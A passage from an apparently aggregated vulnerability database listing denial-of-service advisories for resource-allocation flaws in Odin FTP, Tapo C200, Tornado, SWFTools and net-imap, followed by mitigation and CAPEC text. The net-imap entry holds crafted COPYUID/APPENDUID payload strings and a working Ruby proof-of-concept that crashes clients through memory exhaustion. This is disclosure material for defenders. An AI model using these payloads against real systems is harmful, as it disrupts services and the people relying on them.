"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7CGM-4792-6MM2
Vulnerability from github – Published: 2026-02-05 18:30 – Updated: 2026-02-05 18:30Odin Secure FTP Expert 7.6.3 contains a local denial of service vulnerability that allows attackers to crash the application by manipulating site information fields. Attackers can generate a buffer overflow by pasting 108 bytes of repeated characters into connection fields, causing the application to crash.
{
"affected": [],
"aliases": [
"CVE-2020-37139"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-05T17:16:09Z",
"severity": "MODERATE"
},
"details": "Odin Secure FTP Expert 7.6.3 contains a local denial of service vulnerability that allows attackers to crash the application by manipulating site information fields. Attackers can generate a buffer overflow by pasting 108 bytes of repeated characters into connection fields, causing the application to crash.",
"id": "GHSA-7cgm-4792-6mm2",
"modified": "2026-02-05T18:30:32Z",
"published": "2026-02-05T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37139"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48262"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/odin-secure-ftp-expert-site-info-denial-of-service"
},
{
"type": "WEB",
"url": "http://tr.oldversion.com/windows/odin-secure-ftp-expert-7-6-3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7CW2-WJJ4-46P6
Vulnerability from github – Published: 2025-12-20 03:31 – Updated: 2026-01-08 21:30The HTTPS server on Tapo C200 V3 does not properly validate the Content-Length header, which can lead to an integer overflow. An unauthenticated attacker on the same local network segment can send crafted HTTPS requests to trigger excessive memory allocation, causing the device to crash and resulting in denial-of-service (DoS).
{
"affected": [],
"aliases": [
"CVE-2025-14299"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-20T01:16:02Z",
"severity": "HIGH"
},
"details": "The HTTPS server on Tapo C200 V3 does not properly validate the Content-Length header, which can lead to an integer overflow. An unauthenticated attacker on the same local network segment can send crafted HTTPS requests to trigger excessive memory allocation, causing the device to crash and resulting in denial-of-service (DoS).",
"id": "GHSA-7cw2-wjj4-46p6",
"modified": "2026-01-08T21:30:28Z",
"published": "2025-12-20T03:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14299"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/download/tapo-c200/v3/#Firmware-Release-Notes"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/us/support/faq/4849"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7CX3-6M66-7C5M
Vulnerability from github – Published: 2025-05-16 14:12 – Updated: 2025-05-29 06:31Summary
When Tornado's multipart/form-data parser encounters certain errors, it logs a warning but continues trying to parse the remainder of the data. This allows remote attackers to generate an extremely high volume of logs, constituting a DoS attack. This DoS is compounded by the fact that the logging subsystem is synchronous.
Affected versions
All versions of Tornado prior to 6.5 are affected. The vulnerable parser is enabled by default.
Solution
Upgrade to Tornado version 6.5. In the meantime, risk can be mitigated by blocking Content-Type: multipart/form-data in a proxy.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47287"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-16T14:12:40Z",
"nvd_published_at": "2025-05-15T22:15:18Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen Tornado\u0027s ``multipart/form-data`` parser encounters certain errors, it logs a warning but continues trying to parse the remainder of the data. This allows remote attackers to generate an extremely high volume of logs, constituting a DoS attack. This DoS is compounded by the fact that the logging subsystem is synchronous.\n\n### Affected versions\n\nAll versions of Tornado prior to 6.5 are affected. The vulnerable parser is enabled by default.\n\n### Solution\n\nUpgrade to Tornado version 6.5. In the meantime, risk can be mitigated by blocking `Content-Type: multipart/form-data` in a proxy.",
"id": "GHSA-7cx3-6m66-7c5m",
"modified": "2025-05-29T06:31:17Z",
"published": "2025-05-16T14:12:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-7cx3-6m66-7c5m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47287"
},
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/commit/b39b892bf78fe8fea01dd45199aa88307e7162f3"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00038.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Tornado vulnerable to excessive logging caused by malformed multipart form data"
}
GHSA-7F7M-W9M8-JJ5F
Vulnerability from github – Published: 2022-08-17 00:00 – Updated: 2022-08-19 00:00SWFTools commit 772e55a2 was discovered to contain a heap-buffer overflow via /bin/png2swf+0x552cea.
{
"affected": [],
"aliases": [
"CVE-2022-35105"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-16T21:15:00Z",
"severity": "MODERATE"
},
"details": "SWFTools commit 772e55a2 was discovered to contain a heap-buffer overflow via /bin/png2swf+0x552cea.",
"id": "GHSA-7f7m-w9m8-jj5f",
"modified": "2022-08-19T00:00:22Z",
"published": "2022-08-17T00:00:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35105"
},
{
"type": "WEB",
"url": "https://github.com/matthiaskramm/swftools/issues/183"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7FC5-F82F-CX69
Vulnerability from github – Published: 2025-02-10 17:42 – Updated: 2025-04-30 20:43Summary
There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#to_a to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.
Details
IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.
The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.
Malicious inputs:
# 40 bytes expands to ~1.6GB:
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
# Worst *valid* input scenario (using uint32 max),
# 44 bytes expands to 64GiB:
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
# Numbers must be non-zero uint32, but this isn't validated. Arrays larger than
# UINT32_MAX can be created. For example, the following would theoretically
# expand to almost 800 exabytes:
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
Simple way to test this:
require "net/imap"
def test(size)
input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n"
parser = Net::IMAP::ResponseParser.new
parser.parse input
end
test(99_999_999)
Fixes
Preferred Fix, minor API changes
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
# globally
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
# per-client
imap = Net::IMAP.new(hostname, ssl: true,
parser_use_deprecated_uidplus_data: false)
imap.config.parser_use_deprecated_uidplus_data = false
This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.
For v0.3.8, this option is not available.
For v0.4.19, the default value is true.
For v0.5.6, the default value is :up_to_max_size.
For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).
Mitigation, backward compatible API
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.
Assign config.parser_max_deprecated_uidplus_data_size to set the maximum UIDPlusData UID set size.
When config.parser_use_deprecated_uidplus_data == true, larger sets will raise Net::IMAP::ResponseParseError.
When config.parser_use_deprecated_uidplus_data == :up_to_max_size, larger sets will use AppendUIDData or CopyUIDData.
For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError.
For v0.4.19, the limit defaults to 1000.
For v0.5.6, the limit defaults to 100.
For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).
Please Note: unhandled responses
If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:
ruby
limit = 1000
imap.add_response_handler do |resp|
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
name = resp.name
code = resp.data.code&.name if resp.data.respond_to?(:code)
if Net::IMAP::VERSION > "0.4.0"
imap.responses(name) { _1.slice!(0...-limit) }
imap.responses(code) { _1.slice!(0...-limit) }
else
imap.responses(name).slice!(0...-limit)
imap.responses(code).slice!(0...-limit)
end
end
Proof of concept
Save the following to a ruby file (e.g: poc.rb) and make it executable:
#!/usr/bin/env ruby
require 'socket'
require 'net/imap'
if !defined?(Net::IMAP.config)
puts "Net::IMAP.config is not available"
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
else
Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
end
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
def server_addr
Addrinfo.tcp("localhost", 0).ip_address
end
def create_tcp_server
TCPServer.new(server_addr, 0)
end
def start_server
th = Thread.new do
yield
end
sleep 0.1 until th.stop?
end
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
end
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
end
server = create_tcp_server
port = server.addr[1]
puts "Server started on port #{port}"
# server
start_server do
sock = server.accept
begin
sock.print "* OK test server\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
malicious_response = appenduid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
malicious_response = copyuid_response(size:)
puts "Sending: #{malicious_response.chomp}"
sock.print malicious_response
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
sock.print "#{tag} OK CAPABILITY completed\r\n"
cmd = sock.gets("\r\n", chomp: true)
tag = cmd.match(/\A(\w+) /)[1]
puts "Received: #{cmd}"
sock.print "* BYE If you made it this far, you passed the test!\r\n"
sock.print "#{tag} OK LOGOUT completed\r\n"
rescue Exception => ex
puts "Error in server: #{ex.message} (#{ex.class})"
ensure
sock.close
server.close
end
end
# client
begin
puts "Client connecting,.."
imap = Net::IMAP.new(server_addr, port: port)
puts "Received capabilities: #{imap.capability}"
pp responses: imap.responses
imap.logout
rescue Exception => ex
puts "Error in client: #{ex.message} (#{ex.class})"
puts ex.full_message
ensure
imap.disconnect if imap
end
Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB:
$ ( ulimit -v 1000000 && exec ./poc.rb )
Server started on port 34291
Client connecting,..
Received: RUBY0001 CAPABILITY
Sending: * OK [APPENDUID 1 1:4294967295] too large?
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
Error in client: failed to allocate memory (NoMemoryError)
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
from /workspace/poc.rb:70:in '<main>'
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.2"
},
{
"fixed": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "0.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25186"
],
"database_specific": {
"cwe_ids": [
"CWE-1287",
"CWE-400",
"CWE-405",
"CWE-409",
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-10T17:42:43Z",
"nvd_published_at": "2025-02-10T16:15:39Z",
"severity": "MODERATE"
},
"details": "### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`\u0027s response parser. At any time while the client is connected, a malicious server can send can send highly compressed `uid-set` data which is automatically read by the client\u0027s receiver thread. The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP\u0027s `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn\u0027t validated. Arrays larger than\n# UINT32_MAX can be created. For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n parser = Net::IMAP::ResponseParser.new\n parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`. These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers). Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference. Code that does handle these responses _may_ need to be updated. See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false` _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. _This is not significantly different from connecting to a trusted server with a long-lived connection._ To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n ```ruby\n limit = 1000\n imap.add_response_handler do |resp|\n next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n name = resp.name\n code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n if Net::IMAP::VERSION \u003e \"0.4.0\"\n imap.responses(name) { _1.slice!(0...-limit) }\n imap.responses(code) { _1.slice!(0...-limit) }\n else\n imap.responses(name).slice!(0...-limit)\n imap.responses(code).slice!(0...-limit)\n end\n end\n ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n th = Thread.new do\n yield\n end\n sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n sock = server.accept\n begin\n sock.print \"* OK test server\\r\\n\"\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n\n malicious_response = appenduid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n\n malicious_response = copyuid_response(size:)\n puts \"Sending: #{malicious_response.chomp}\"\n sock.print malicious_response\n sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n cmd = sock.gets(\"\\r\\n\", chomp: true)\n tag = cmd.match(/\\A(\\w+) /)[1]\n puts \"Received: #{cmd}\"\n sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n rescue Exception =\u003e ex\n puts \"Error in server: #{ex.message} (#{ex.class})\"\n ensure\n sock.close\n server.close\n end\nend\n\n# client\nbegin\n puts \"Client connecting,..\"\n imap = Net::IMAP.new(server_addr, port: port)\n puts \"Received capabilities: #{imap.capability}\"\n pp responses: imap.responses\n imap.logout\nrescue Exception =\u003e ex\n puts \"Error in client: #{ex.message} (#{ex.class})\"\n puts ex.full_message\nensure\n imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory. The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in \u0027Net::IMAP#get_tagged_response\u0027: failed to allocate memory (NoMemoryError)\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in \u0027block in Net::IMAP#send_command\u0027\n from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in \u0027Net::IMAP#send_command\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in \u0027block in Net::IMAP#capability\u0027\n from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in \u0027Net::IMAP#capability\u0027\n from /workspace/poc.rb:70:in \u0027\u003cmain\u003e\u0027\n```",
"id": "GHSA-7fc5-f82f-cx69",
"modified": "2025-04-30T20:43:04Z",
"published": "2025-02-10T17:42:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"
},
{
"type": "WEB",
"url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Possible DoS by memory exhaustion in net-imap"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
